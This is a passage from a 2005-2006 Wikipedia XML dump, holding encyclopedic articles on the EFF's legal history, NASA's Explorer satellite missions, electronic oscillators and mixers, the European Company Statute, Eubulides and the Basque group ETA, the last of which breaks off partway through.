*[[August 19]], [[2004]]: [http://www.eff.org/news/archives/2004_08.php#001833 defeat] in [http://www.eff.org/IP/P2P/MGM_v_Grokster/ MGM vs. Grokster]. [[Fred von Lohmann]] of EFF as lead counsel representing Streamcast Networks.  EFF prevailed before the [[Ninth Circuit Court of Appeals]] with a decision affirming the &quot;Betamax doctrine&quot;&amp;mdash;the rule following the Supreme Court's 1984 holding that a company that creates a technology cannot be held liable for copyright violations by users if the technology has substantial legal uses. The [[Ninth Circuit Court of Appeals]] ruled that neither were liable for infringements by people using their software to distribute copyrighted works. However, on [[June 27]], [[2005]] U.S. Supreme Court reversed, finding the defendants liable for copyright infringement, though the Court preserved the Betamax doctrine.  Co-defendant Grokster eventually settled with MGM and disbanded the company.
*[[October 6]], [[2004]]: In cooperation with 8 other public interest organizations, submitted a  [http://www.eff.org/news/archives/2004_10.php#001968 brief] challenging the [[Federal Communications Commission|FCC's]] authority to impose the [[broadcast flag]] mandate, which was to go into effect during [[July 2005]].
*[[October 15]], [[2004]]: Successfully represented the nonprofit ISP Online Policy Group (OPG) and two Swarthmore College students who published major security flaws in [[Diebold Election Systems]] [[voting machine]]s.  From the press release: &quot;Diebold is the first company to be held liable for violating section 512(f) of the [[DMCA]]. which makes it unlawful to use [[DMCA]] takedown threats when the copyright holder knows that infringement has not actually occurred.&quot;
*[[2004]]: JibJab Media v. Ludlow Music, N.D. Cal.  EFF successfully defended [[JibJab]], the creators of a parody flash animation piece using [[Woody Guthrie]]'s &quot;[[This Land Is Your Land]]&quot;&amp;mdash;and uncovered evidence that the classic folk song is in fact already part of the [[public domain]].
*November [[2004]]: Filed brief opposing the [[Federal Communications Commission|FCC's]] proposal to expand [[Communications Assistance for Law Enforcement Act|CALEA]] to broadband Internet access providers and [[VOIP]] systems.
*December [[2004]]: Started promoting and supporting [[Tor (anonymity network)|Tor]], a second generation Onion Routing network that allows people to communicate anonymously, through [http://tor.eff.org/ tor.eff.org]
*June [[2005]]: Issued a [http://www.eff.org/bloggers/lg/ Legal Guide for Bloggers], designed to be a basic roadmap to the legal issues one may confront as a blogger, to let bloggers know their rights.
*October [[2005]]: [http://www.eff.org/Privacy/printers/ investigated and documented] how the Xerox [[DocuColor]] printer's serial number, as well as the date and time of the printout, are encoded in a repeating 15×8 dot pattern in the yellow channel on printed pages. [[EFF]] is working to reverse engineer [http://www.eff.org/Privacy/printers/list.php additional printers].
* November [[2005]]: EFF, along with two leading national class action law firms, filed suit against [[Sony BMG Music Entertainment]], demanding that the company repair the damage done by the [[First4Internet]] [[XCP]] and [[SunnComm]] [[MediaMax]] software it included on over 24 million music CDs.  See generally the [[2005 Sony CD copy protection controversy]].

==See also==
*[[Apple v. Does]]
*[[Electronic Frontier Canada]]

==Publications==
*[http://www.eff.org/effector/ EFFector] 
*[http://www.eff.org/Net_culture/Net_info/EFF_Net_Guide/ EFF's Guide to the Internet]
*[http://www.eff.org/bloggers/lg/ Legal Guide for Bloggers]

==External links==
{{Wikinews|Interview: Danny O'Brien of the Electronic Frontier Foundation}}
*[http://www.eff.org Electronic Frontier Foundation official website]
*[http://www.eff.org/patent EFF Patent Busting project]
*[http://www.alternativefreedom.blogspot.com/ &quot;Alternative Freedom&quot; Documentary featuring EFF Attorney Jason Schultz]
* {{gutenberg author| id=Electronic+Frontier+Foundation | name=Electronic Frontier Foundation}}
*[http://www.weblogsky.com/technopolitics.htm &quot;Technopolitics&quot;], originally published in the Australian magazine [[21C]], tells the early history of EFF.


[[Category:Computer law]]
[[Category:Foundations]]
[[Category:Internet privacy]]
[[Category:Political advocacy groups in the United States]]
[[Category:Politics and technology]]
[[Category:Electronic advocacy]]


[[de:Electronic Frontier Foundation]]
[[fr:Electronic frontier foundation]]
[[ja:電子フロンティア財団]]
[[pl:Electronic Frontier Foundation]]</text>
    </revision>
  </page>
  <page>
    <title>Explorer program</title>
    <id>9917</id>
    <revision>
      <id>36769081</id>
      <timestamp>2006-01-26T09:43:00Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Bringing &quot;External links&quot;, &quot;See also&quot; and &quot;Reference&quot; sections in line with the [[Wikipedia:Manual of Style|Manual of Style]].</comment>
      <text xml:space="preserve">:''This article is about the space exploration program. &quot;Explorer program&quot; may also refer to the [[file browser]] of [[Microsoft Windows|Windows]], called [[Windows Explorer]].''

The '''Explorer program''' was the [[United States]]'s first successful attempt to launch an [[satellite|artificial satellite]] .  It began as a [[U.S. Army]] proposal to place a scientific satellite into [[orbit]] during the [[International Geophysical Year]]. That proposal was rejected in favor of the U.S. Navy's [[Project Vanguard]]. It was revived as a [[crash program]]  to catch up with the [[Soviet Union]] after that nation's launch of [[Sputnik I]] on [[October 4]], [[1957]].  (''See:'' [[Sputnik crisis]]) [[Explorer 1]] was launched [[January 31]] [[1958]]. Besides being the first U.S. satellite, it is known for discovering the [[Van Allen radiation belt]]. 

==Explorer at NASA==
The Explorer program was taken over by [[NASA]], which continued to use the name for [[unmanned space missions]].
Over the years, [[NASA]] has launched a series of &quot;Explorer&quot; [[spacecraft]] carrying a wide variety of scientific investigations. The list below identifies the 79 successful missions as of December 2004. As of this writing, Explorers 50 (IMP-8), 68-71, 73-74 and 77, 79-83 (SAMPEX, RXTE, FAST, ACE, TRACE, SWAS, FUSE, WMAP, RHESSI, CHIPSat, GALEX and SWIFT) are still operating.

NASA's Explorer spacecraft series not only is the longest running series of spacecraft, it has produced highly-durable, well-engineered spacecraft as well. Of the 79 successful Explorer missions depicted, fully five of them had had missions which lasted 10 or more years, the longest of which (IMP-8) has been operational for over 26 years now and still produces valuable information about the solar wind. NASA's [[International Ultraviolet Explorer|IUE]] spacecraft operated for 19 years and produced copious amounts of data for the astronomical community. The ISEE 3/ICE spacecraft operated for 14 years. As of March of 2000, of the ten operational Explorer missions, SNOE and TRACE have operated for about two years, ACE two and a half years, FAST for about three and a half, RXTE for over four, EUVE and SAMPEX for nearly eight, and IMP 8 for more than 26. SWAS has been operational for slightly more than one year, having been launched in early December 1998.

==Mission History==

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|+ '''Explorer Missions'''
|-
! style=&quot;background:#efefef;&quot; | Explorer
! style=&quot;background:#efefef;&quot; | Name
! style=&quot;background:#efefef;&quot; | Launch Date
! style=&quot;background:#efefef;&quot; | Mission
|-
|align=center| 1
|align=center| [[Explorer 1]]
|| [[January 31]] [[1958]]
|| Energy particles studies, discovered the [[Van Allen radiation belt]]
|-
|align=center| 2
|align=center| [[Explorer 2]]
|| [[March 5]] [[1958]]
|| Failed to achieve orbit
|-
|align=center| 3
|align=center| [[Explorer 3]]
|| [[March 26]] [[1958]]
|| Energy particles studies
|-
|align=center| 4
|align=center| [[Explorer 4]]
|| [[July 26]] [[1958]]
|| Energy particles studies
|-
|align=center| 5
|align=center| [[Explorer 5]]
|| [[August 24]] [[1958]]
|| Failed to achieve orbit
|-
|align=center| --
|align=center| S-1
|| [[July 16]] [[1959]]
|| Failed to achieve orbit
|-
|align=center| 6
|align=center| [[Explorer_6|S-2]]
|| [[August 7]] [[1959]]
|| Magnetosphere research
|-
|align=center| 7
|align=center| [[Explorer_7|S-1a]]
|| [[October 13]] [[1959]]
|| Energy particles studies
|-
|align=center| --
|align=center|  S-46
|| [[March 23]] [[1960]]
|| Failed to achieve orbit
|-
|align=center| 8
|align=center| S-56
|| [[November 3]] [[1960]]
|| Measured atmospheric composition of the ionosphere
|-
|align=center| --
|align=center| S-56
|| [[December 4]] [[1960]]
|| Failed to achieve orbit
|-
|align=center| 9
|align=center| S-56a
|| [[February 16]] [[1961]]
|| Atmospheric density measurments
|-
|align=center| --
|align=center| S-45
|| [[February 24]] [[1961]]
|| Failed to achieve orbit 
|-
|align=center| 10
|align=center| P-14
|| [[March 25]] [[1961]]
|| Investigated field magnetic field between the earth 
|-
|align=center| 11
|align=center| S-15
|| [[April 27]] [[1961]]
|| Gamma ray astronomy
|-
|align=center| --
|align=center| S-45a
|| [[May 25]] [[1961]]
|| Failed to achieve orbit 
|-
|align=center| --
|align=center| S-55
|| [[June 30]] [[1961]]
|| Failed to achieve orbit
|-
|align=center| 12
|align=center| EPE A
|| [[August 16]] [[1961]]
|| Energetic particles research 
|-
|align=center| 13
|align=center| S-55a
|| [[August 25]] [[1961]]
|| Micrometeoroids research
|-
|align=center| 14
|align=center| EPE B
|| [[October 2]] [[1962]]
|| Energetic particles research 
|-
|align=center| 15
|align=center| EPE C
|| [[October 27]] [[1962]]
|| Energetic particles research 
|-
|align=center| 16
|align=center| S-55b
|| [[December 16]] [[1962]]
|| Micrometeoroids research
|-
|align=center| 17
|align=center| AE A
|| [[April 3]] [[1963]]
||  Atmospheric research
|-
|align=center| 18
|align=center| IMP A
|| [[November 27]] [[1963]]
|| Magnetospheric research
|-
|align=center| 19
|align=center| AD A
|| [[December 19]] [[1963]]
|| Atmospheric density measurments
|-
|align=center| 20
|align=center| IE A
|| [[August 25]] [[1964]]
|| Ionosphere research
|-
|align=center| 21
|align=center| IMP B
|| [[October 4]] [[1964]]
|| Magnetospheric research
|-
|align=center| 22
|align=center| BE B
|| [[October 10]] [[1964]]
|| Ionospheric and geodetic research
|-
|align=center| 23
|align=center| [[Explorer 23]]
|| [[November 6]] [[1964]]
|| Micrometeoric research
|-
|align=center| 24
|align=center| AD B
|| [[November 21]] [[1964]]
|| Atmospheric density measurments
|-
|align=center| 25
|align=center| Injun 4 (IE B)
|| [[November 21]] [[1964]]
|| Ionospheric research
|-
|align=center| 26
|align=center| EPE D
|| [[December 21]] [[1964]]
|| High energy particle observations
|-
|align=center| 27
|align=center| IMP C
|| [[April 29]] [[1965]]
|| Magnetospheric research
|-
|align=center| 28
|align=center| IMP C
|| [[May 29]] [[1965]]
|| Magnetospheric research
|-
|align=center| 29
|align=center| [[Geodetic Earth Orbiting Satellite|GEOS A]]
|| [[November 6]] [[1965]]
|| Geodetic earth monitoring
|-
|align=center| 30
|align=center| Solrad 8 (SE A)
|| [[November 19]] [[1965]]
|| Solar radiation monitoring
|-
|align=center| 31
|align=center| DME A
|| [[November 29]] [[1965]]
|| Ionospheric research
|-
|align=center| 32
|align=center| AE B
|| [[May 25]] [[1966]]
||  Atmospheric research
|-
|align=center| 33
|align=center| [[Explorer_32|IMP D]]
|| [[July 1]] [[1966]]
|| Magnetospheric research
|-
|align=center| 34
|align=center| IMP F
|| [[May 24]] [[1967]]
|| Magnetospheric research
|-
|align=center| 35
|align=center| [[Explorer_35|IMP E]]
|| [[July 19]] [[1967]]
|| Magnetospheric research
|-
|align=center| 36
|align=center| [[Geodetic Earth Orbiting Satellite|GEOS B]]
|| [[January 11]] [[1968]]
|| Geodetic earth monitoring
|-
|align=center| 37
|align=center| Solrad 9 (SE B)
|| [[March 5]] [[1968]]
|| Solar radiation monitoring
|-
|align=center| 38
|align=center| RAE A
|| [[July 4]] [[1968]]
|| Radio astronomy
|-
|align=center| 39
|align=center| AD C
|| [[August 8]] [[1968]]
||  Atmospheric density measurments
|-
|align=center| 40
|align=center| Injun 5 (IE C)
|| [[August 8]] [[1968]]
||  Magnetospheric Research
|-
|align=center| 41
|align=center| IMP G
|| [[June 21]] [[1969]]
|| Magnetospheric research
|-
|align=center| 42
|align=center| SAS A
|| [[December 12]] [[1970]]
|| X-Ray Astronomy 
|-
|align=center| 43
|align=center| IMP H
|| [[March 13]] [[1971]]
|| Magnetospheric research
|-
|align=center| 44
|align=center| Solrad 10 (SE C)
|| [[July 8]] [[1971]]
|| Solar radiation monitoring
|-
|align=center| 45
|align=center| SSS A
|| [[November 15]] [[1971]]
|| Magnetospheric research
|-
|align=center| 46
|align=center| MTS A
|| [[August 13]] [[1972]]
|| Micrometeoroids research
|-
|align=center| 47
|align=center| IMP I
|| [[September 23]] [[1972]]
|| Magnetospheric research
|-
|align=center| 48
|align=center| SAS B
|| [[November 15]] [[1972]]
|| X-Ray Astronomy 
|-
|align=center| 49
|align=center| RAE B
|| [[June 10]] [[1973]]
|| Radio astronomy
|-
|align=center| 50
|align=center| IMP J
|| [[October 26]] [[1973]]
|| Magnetospheric research
|-
|align=center| 51
|align=center| AE C
|| [[December 16]] [[1973]]
||  Atmospheric research
|-
|align=center| 52
|align=center| Injun 6 (IE D)
|| [[June 3]] [[1974]]
|| Magnetospheric research
|-
|align=center| 53
|align=center| SAS C
|| [[May 7]] [[1975]]
|| X-Ray Astronomy 
|-
|align=center| 54
|align=center| AE D
|| [[October 6]] [[1975]]
||  Atmospheric research
|-
|align=center| 55
|align=center| AE E
|| [[November 20]] [[1975]]
||  Atmospheric research
|-
|align=center| 56
|align=center| ISEE 1
|| [[October 22]] [[1977]]
|| Magnetospheric research
|-
|align=center| 57
|align=center| [[International Ultraviolet Explorer|IUE]]
|| [[January 26]] [[1978]]
|| Ultraviolet astronomy
|-
|align=center| 58
|align=center| HCMM
|| [[April 26]] [[1978]]
|| Thermal mapping of the earth
|-
|align=center| 59
|align=center| ISEE 3 (ICE)
||  [[August 12]] [[1978]]
|| Magnetospheric research
|-
|align=center| 60
|align=center| SAGE
|| [[February 18]] [[1979]]
|| Stratospheric aerosol and ozone data
|-
|align=center| 61
|align=center| Magsat
|| [[October 30]] [[1979]]
|| Mapped the near surface magnetic field of the Earth
|-
|align=center| 62
|align=center| DE 1
|| [[August 3]] [[1981]]
|| Magnetospheric research
|-
|align=center| 63
|align=center| DE 2
|| [[August 3]] [[1981]]
|| Magnetospheric research
|-
|align=center| 64
|align=center| SME
|| [[October 6]] [[1981]]
||  Atmospheric research
|-
|align=center| 65
|align=center| CCE
|| [[August 16]] [[1984]]
|| Magnetospheric research
|-
|align=center| 66
|align=center| [[COBE]]
|| [[November 18]] [[1989]]
|| Microwave astronomy
|-
|align=center| 67
|align=center| EUVE
|| [[June 7]] [[1992]]
|| Ultraviolet astronomy
|-
|align=center| 68
|align=center| SAMPEX
|| [[July 3]] [[1992]]
|| Magnetospheric research
|-
|align=center| 69
|align=center| RXTE
|| [[December 30]] [[1995]]
|| X-ray astronomy
|-
|align=center| 70
|align=center| FAST
|| [[August 21]] [[1996]]
|| Auroral phenomena
|-
|align=center| 71
|align=center| [[Advanced Composition Explorer|ACE]]
|| [[August 25]] [[1997]]
|| Solar/interplanetary/interstellar partical research
|-
|align=center| 72
|align=center| SNOE
|| [[February 26]] [[1998]]
|| Atmospheric research
|-
|align=center| 73
|align=center| TRACE
|| [[April 2]] [[1998]]
|| Solar observatory
|-
|align=center| 74
|align=center| SWAS
|| [[December 6]] [[1998]]
|| Submillimeter astronomy
|-
|align=center| 75
|align=center| WIRE
|| [[March 5]] [[1999]]
|| InfraRed astronomy, primary mission failed due to loss of coolant
|-
|align=center| 76
|align=center| TERRIERS
|| [[May 18]] [[1999]]
|| Atmospheric research, satellite failed shortly after achiving orbit
|-
|align=center| 77
|align=center| [[Far Ultraviolet Spectroscopic Explorer|FUSE]]
|| [[June 23]] [[1999]]
|| Ultraviolet astronomy
|-
|align=center| 78
|align=center| [[IMAGE]]
|| [[March 25]] [[2000]]
|| Magnetospheric research 
|-
|align=center| 79
|align=center| [[WMAP]]
|| [[June 30]] [[2001]]
|| Microwave astronomy
|-
|align=center| 80
|align=center| [[RHESSI]]
|| [[February 5]] [[2002]]
|| X-ray and gamma ray solar flare imaging 
|-
|align=center| 81
|align=center| [[CHIPSat]]
|| [[January 13]] [[2003]]
|| Ultraviolet spectroscopy and astronomy
|-
|align=center| 82
|align=center| [[GALEX]]
|| [[April 28]] [[2003]]
|| Ultraviolet astronomy
|-
|align=center| 83
|align=center| [[Swift Gamma-Ray Burst Mission|SWIFT]]
|| [[November 20]] [[2004]]
|| Gamma ray astronomy
|}

== External links ==
[http://explorers.gsfc.nasa.gov/missions.html NASA Explorer program missions page]

[[Category:Explorer program]]
[[Category:NASA]]
[[Category:NASA probes]]

[[de:Explorer (Raumsonde)]]
[[fr:Programme Explorer]]
[[pl:Program Explorer]]</text>
    </revision>
  </page>
  <page>
    <title>Ethnic</title>
    <id>9919</id>
    <revision>
      <id>15907773</id>
      <timestamp>2005-04-19T11:28:44Z</timestamp>
      <contributor>
        <username>Joy</username>
        <id>20318</id>
      </contributor>
      <minor />
      <comment>updated link to avoid double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Ethnic group]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic oscillator</title>
    <id>9920</id>
    <revision>
      <id>36846069</id>
      <timestamp>2006-01-26T21:31:55Z</timestamp>
      <contributor>
        <username>Atlant</username>
        <id>124135</id>
      </contributor>
      <comment>Revert vandal</comment>
      <text xml:space="preserve">An '''electronic [[oscillation|oscillator]]''' is an [[electronic circuit]] that produces a repetitive electronic signal, often a [[sine wave]] or a [[square wave]].

A [[low frequency oscillation|low-frequency oscillator]] (or '''LFO''') is an electronic oscillator that generates an [[alternating current|AC]] [[waveform]] between 0.1 Hz and 10 Hz.  This term is typically used in the field of audio [[synthesizers]], to distinguish it from an audio frequency oscillator.

== Types of electronic oscillator ==
There are two main types of electronic oscillator: the harmonic oscillator and the relaxation oscillator.

=== Harmonic oscillator ===

&lt;!-- Image with unknown copyright status removed: [[Image:Colpitts_oscillator_circuit_diagram.png|thumb|right|Small-signal model of a crystal-stabilized Colpitt's oscillator]] --&gt;

The harmonic oscillator produces a sinusoidal output.  The basic form of an harmonic oscillator is an [[electronic amplifier]] with the output attached to a narrow-band [[electronic filter]], and the output of the filter attached to the input of the amplifier.  When the power supply to the amplifier is first switched on, the amplifier's output consists only of [[noise (physics)|noise]].  The noise travels around the loop, being [[Filter (signal processing)|filtered]] and re-amplified until it increasingly resembles the desired signal.

A [[piezoelectric]] [[crystal]] (commonly [[quartz]]) may be coupled to the filter to stabilise the frequency of oscillation, resulting in a [[crystal oscillator]].

There are many ways to implement harmonic oscillators, because there are different ways to amplify and filter.  For example:

* [[Hartley oscillator]]
* [[Colpitts oscillator]]
* [[Clapp oscillator]]
* [[Pierce crystal oscillator]]
* [[Phase-shift oscillator]]
* [[RC oscillator]] ([[Wien bridge oscillator|Wien Bridge]] and &quot;Twin-T&quot;)

=== Relaxation oscillator ===
The relaxation oscillator is often used to produce a non-sinusoidal output, such as a square wave or sawtooth.  The oscillator contains a nonlinear component such as a [[transistor]] that periodically discharges the energy stored in a [[capacitor]] or [[inductor]], causing abrupt changes in the output waveform.  

Square-wave relaxation oscillators can be used to provide the [[clock signal]] for [[sequential logic]] circuits such as timers and counters, although crystal oscillators are often preferred for their greater stability.

Triangle-wave or sawtooth oscillators are used in the timebase circuits that generate the horizontal deflection signals for [[cathode ray tube]]s in analogue [[oscilloscope]]s and [[television]] sets. In [[function generator]]s, this triangle wave may then be further shaped into a close approximation of a [[sine wave]].

The [[multivibrator]] and the [[Time to digital converter|rotary traveling wave oscillator]] are another types of relaxation oscillators.

==See also==
*[[Crystal oscillator]]
*[[Voltage-controlled oscillator]]
*[[RLC circuit]]
*[[Electronics]]

[[Category:Oscillators]]
[[Category:Electronics]]
[[Category:Electronic engineering]]

[[da:Elektronisk oscillator]]
[[de:Oszillatorschaltung]]
[[fr:Oscillateur]]
[[nl:Oscillator (elektronica)]]
[[pt:Oscilador electrónico]]
[[zh:振盪器]]</text>
    </revision>
  </page>
  <page>
    <title>European Company Statute</title>
    <id>9922</id>
    <revision>
      <id>39214158</id>
      <timestamp>2006-02-11T15:38:05Z</timestamp>
      <contributor>
        <username>Qasinka</username>
        <id>725471</id>
      </contributor>
      <minor />
      <comment>pl</comment>
      <text xml:space="preserve">The '''Council Regulation on the Statute for a European Company''' of the [[European Union]] (adopted [[October 8]] [[2001]]; [[Official Journal of the European Union|OJ]] L 294, [[10 November]] [[2001]], pp. 1-21) contains rules for a '''European Public Company''', called an '''SE''' (abbreviation for '''Societas Europaea''', [[Latin]] for 'European Company'); there is also a statute allowing a '''European Cooperative Society''' ('''SCE'''). An SE can be registered in any of the 25 member states in the [[European Union]], and the registration can be easily transferred to another member state. There is no EU-wide register of SEs (an SE is registered on the national register of the member state in which it has its head office), but each registration is to be published in the official journal; [[as of 2004]], no registration has been published.

The 25 different member states of the [[European Union]] have widely different company laws. This means that companies have to comply with many different regulatory systems, and merger of companies from different states is often complex and difficult.

SEs can be created in the following ways:
# By merger of national companies from different member states
# By the creation of a joint venture between companies (or other entities) in different member states
# By the creation of a SE subsidiary of a national company
# By the conversion of a national company into an SE

== Worker Involvement ==

The regulation is complemented by the '''Council Directive supplementing the Statute for a European Company with regard to the involvement of employees''' (adopted [[October 8]] [[2001]]; OJ L 294, [[10 November]] [[2001]], pp. 22-32). The directive establishes rules on worker involvement in the management of the SE.

EU member states differ in the degree of worker involvement in corporate management. In Germany, most large corporations are required to allow employees to elect a certain percentage of seats on the board of directors. Other member states, such as the UK, have no such requirement, and furthermore in these states such practices are largely unknown and considered a threat to the rights of management. In states with these provisions, the corporation has two boards, a management board (which handles the day-to-day operation of the company) and the supervisory board (which elects and oversees the management board, and reports back to shareholders and employees). This division is effected in part to avoid direct involvement of employee representatives in day-to-day management. Companies in states without worker involvement provisions tend to have unitary boards of directors instead.

These differing traditions of worker involvement have held back the adoption of the Statute for over a decade. States without worker involvement provisions were afraid that the SE might lead to having such provisions being imposed on their companies; and states with those provisions were afraid they might lead to those provisions being circumvented.

A compromise, contained in the Directive, was worked out as follows: worker involvement provisions  in the SE will be decided upon by negotiations between employees and management before the creation of the SE. If agreement cannot be reached, provisions contained in the Directive will apply. The Directive provides for worker involvement in the SE if a minimum percentage of employees from the entities coming together to form the SE enjoyed worker involvement provisions. The Directive permits Member States to not implement these default worker involvement provisions in their national law, but then an SE cannot be created in that member state if the provisions in the Directive would apply and negotiations between workers and management are unsuccessful.

==Development==

Two approaches have been attempted to solve the problems cited above. One approach is to harmonize the company law of the member states. This approach has had some successes, but after thirty years only limited progress has been made. It is difficult to harmonize widely different regulatory systems, especially when they reflect different national attitudes to issues such as worker involvement in the management of the company.

The other approach is to construct a whole new system of EU company law, that co-exists with the individual company laws of the member states. Companies would have the choice of operating either under national regulations or under the EU-wide system. However, this approach has been only somewhat more effective than the harmonization approach: while states are not as concerned about having foreign traditions of corporate governance imposed on their companies, which the harmonization approach could well entail; they also wish to ensure that the EU-wide system would be palatable to the traditions of their national companies, so that they will not be put at a disadvantage compared to the other member states.

The European Company Statute represents a step in this direction, albeit a limited one. While it establishes some common EU rules on the SE, these rules are incomplete, and the holes in the rules are to be filled in using the law of the member state in which the SE is registered. This has been due to the difficulties of agreeing on common European rules on these issues.

== External links ==

* [http://europa.eu.int/rapid/pressReleasesAction.do?reference=MEMO/04/235&amp;format=HTML&amp;aged=0&amp;language=en&amp;guiLanguage=en Frequently-asked questions (the EU website)]

Links of legislation on the [[EUR-Lex]] web site:
* [http://europa.eu.int/eur-lex/pri/en/oj/dat/2001/l_294/l_29420011110en00010021.pdf Council Regulation (EC) No 2157/2001 of [[8 October]] [[2001]] on the Statute for a European company (SE)]
* [http://europa.eu.int/eur-lex/pri/en/oj/dat/2001/l_294/l_29420011110en00220032.pdf Council Directive 2001/86/EC of [[8 October]] [[2001]] supplementing the Statute for a European company with regard to the involvement of employees]
*[http://europa.eu.int/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&amp;lg=EN&amp;numdoc=32003R1435&amp;model=guichett Council Regulation (EC) No 1435/2003 of [[22 July]] [[2003]] on the Statute for a European Cooperative Society (SCE)]
*[http://europa.eu.int/rapid/pressReleasesAction.do?reference=IP/04/1195&amp;format=HTML&amp;aged=0 EU press release: Company law: European Company Statute in force, but national delays stop companies using it]
*[http://www.seeurope-network.org SEEurope] - NGO researching European Companies

[[Category:European Union laws]]
[[Category:Types of companies]]

[[cs:Evropská společnost]]
[[de:Europäische Aktiengesellschaft]]
[[fi:Eurooppayhtiö]]
[[nl:Europese Vennootschap]]
[[pl:Spółka europejska]]</text>
    </revision>
  </page>
  <page>
    <title>3rd dynasty</title>
    <id>9923</id>
    <revision>
      <id>15907776</id>
      <timestamp>2002-12-05T21:23:09Z</timestamp>
      <contributor>
        <ip>195.149.37.238</ip>
      </contributor>
      <comment>moved to third dynasty of Egypt</comment>
      <text xml:space="preserve">#REDIRECT [[Third dynasty of Egypt]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic mixer</title>
    <id>9924</id>
    <revision>
      <id>28164481</id>
      <timestamp>2005-11-13T01:31:40Z</timestamp>
      <contributor>
        <username>Freestyle</username>
        <id>463706</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">[[da:Mixer]]
[[pl:Mieszacz]]

An '''electronic mixer''' is a device for mixing two or more [[electronics|electronic]] [[Signal (information theory)|signal]]s.  There are two basic types of mixer.  Additive mixers add two signals together, and are used for such applications as [[audio mixer|audio mixing]]. Multiplying mixers multiply the signals together, and produce an output containing both original signals, and new signals that have the sum and difference of the [[frequency]] of the original signals.

Additive mixers are usually [[resistor]] networks, surrounded by [[impedance match]]ing and amplification stages.

Multiplying mixers have been done in a wide variety of ways.  The most popular are diode mixers, gilbert cell mixers, diode ring mixers and switching mixers.

A [[diode]] mixer has two or more signals going into a diode. Whenever any signal pushes the voltage above the threshold of the diode, current will flow to the other side, but not back.  If the inputs are the right voltages, the result is that the peaks of the new signal occur whenever either signal peaks, and the diode supplies the troughs by refusing to conduct backwards.  The classic crystal set radio is a diode mixer, with a simple [[electronic filter]] between the antenna and mixer to eliminate unwanted radio stations.  Cheap AM radios still use diode mixers.

Gilbert cell mixers are just an arrangement of transistors that multiplies the two signals.  Surprisingly, the switching mixers (below) pass more power and usually insert less distortion.

Diode ring mixers are the original switching mixer.  They have two transformers and an array of diodes in a ring.  Basically, the transformers are arranged so that one signal switches the diodes to conduct in one direction, or the other direction.  The other transformer pushes its signal through the diodes.  Diode ring mixers are popular because the on/off mechanism injects less noise, and loses less signal power than other methods.  Also, the [[transformer]]s can be wound to match the impedances into and out of the mixer stage to the rest of the electroic system.

Switching mixers use an array of [[Field effect transistor]]s or (in older days) [[vacuum tube]]s.  These are used as electronic switches, to permit the other signal to go one direction, then the other.  They are controlled by the signal being mixed.  They are especially popular with digitally-controlled radios.

[[Category:Electronic circuits]]</text>
    </revision>
  </page>
  <page>
    <title>Eubulides of Miletus</title>
    <id>9925</id>
    <revision>
      <id>23063653</id>
      <timestamp>2005-09-11T22:26:35Z</timestamp>
      <contributor>
        <username>Joy</username>
        <id>20318</id>
      </contributor>
      <minor />
      <comment>stub sort</comment>
      <text xml:space="preserve">'''Eubulides of [[Miletus]]''' was a [[Ancient Greece|Greek]] [[philosopher]] who formulated the [[liar paradox]] in the [[4th century BC]].

He was the successor of [[Euclid of Megara]], the founder of the [[Megarian school of philosophy]].  Besides paradoxes, Megarian logic focused on the logic of whole propositions, in contrast to [[Aristotle|Aristotle's]] logic of predicates.

Another paradox attributed to Eubulides is ''falakros'' or The Bald Man.   A man with one hair is bald, or two hairs, but where do you draw the line as to how many hairs there can be before the man is not bald?  This is the same as the [[Paradox of the heap|Sorites paradox]]. 

{{philosopher-stub}}

[[Category:Ancient Greek philosophers]]

[[de:Eubulides]]
[[ru:Евбулид]]</text>
    </revision>
  </page>
  <page>
    <title>ETA</title>
    <id>9926</id>
    <revision>
      <id>41725278</id>
      <timestamp>2006-03-01T08:38:07Z</timestamp>
      <contributor>
        <username>Gbinal</username>
        <id>709873</id>
      </contributor>
      <minor />
      <comment>/* Social support */  the to in</comment>
      <text xml:space="preserve">{{redirect|ETA}}

{{POV-intro}}

[[Image:ETA.jpg|right|thumb|ETA symbol]]
'''Euskadi Ta Askatasuna''', or '''ETA''' ([[International Phonetic Alphabet|IPA]]: [&amp;#712;&amp;#603;&amp;#720;ta]), is an illegal armed [[Basque nationalist|Basque separatist]] organization that seeks to create, through violence, an [[independence|independent]] [[socialist]] state for the [[Basque people]], separate from [[Spain]] and [[France]], the states with Basque population.  ETA is considered by Spain, France, the [[European Union]] and the [[United States]] to be a [[terrorism|terrorist]] organization. The name ''Euskadi Ta Askatasuna'' is in the [[Basque language]], and translates as &quot;Basque Country and Freedom&quot;.
ETA's motto is ''Bietan jarrai'' (&quot;Keep up on both&quot;). This refers to the two figures in the ETA symbol, the snake (symbolising secrecy and astuteness) wrapped around an axe (representing strength). &lt;!-- (&quot;until translate&quot;; Snake=politics and Axe=figth; Likinianok egindako irudi hau sugea=politika eta aizkora=borroka irudikatzen dute.) --&gt;

The organization was founded in [[1959]]. It evolved rapidly from a group advocating traditional cultural ways to an armed separatist group.

==Aims==
ETA's focus has been on two demands:

* That an independent [[socialist]] government be created in the Basque-inhabited areas of Spain and France
* That imprisoned ETA members currently awaiting trial or serving prison sentences in Spain and France be released.

However, during the 1980s, the goals of the organisation started to shift. Four decades after the creation of ETA, the idea of creating a socialist state in the Basque Country had begun to seem utopian and impractical, and ETA moved to a more pragmatic stance. This was reflected in the [[1995]] manifesto &quot;[[Democratic Alternative]]&quot;, which offered the cessation of all armed ETA activity if the Spanish-government would recognize the Basque people as having sovereignty over Basque territories and the right to [[self-determination]]. Self-determination would be achieved through a referendum on whether to remain a part of Spain.

The organization has adopted other tactical causes such as fighting against:
* Alleged [[illegal drug trade|drug traffic]]kers as corruptors of Basque youth and police collaborators. However, the French Independent NGO L'Observatoire Géopolitique des Drogues pointed their finger at ETA for their alleged drug trafficking in 2000 [http://www.lavanguardia.es/cgi-bin/notilvd_print.pl?noticia=drogues200400&amp;seccion=noticias]. 
* The [[nuclear power plant]] project at [[Lemoiz]]
* The [[Leizaran]] highway

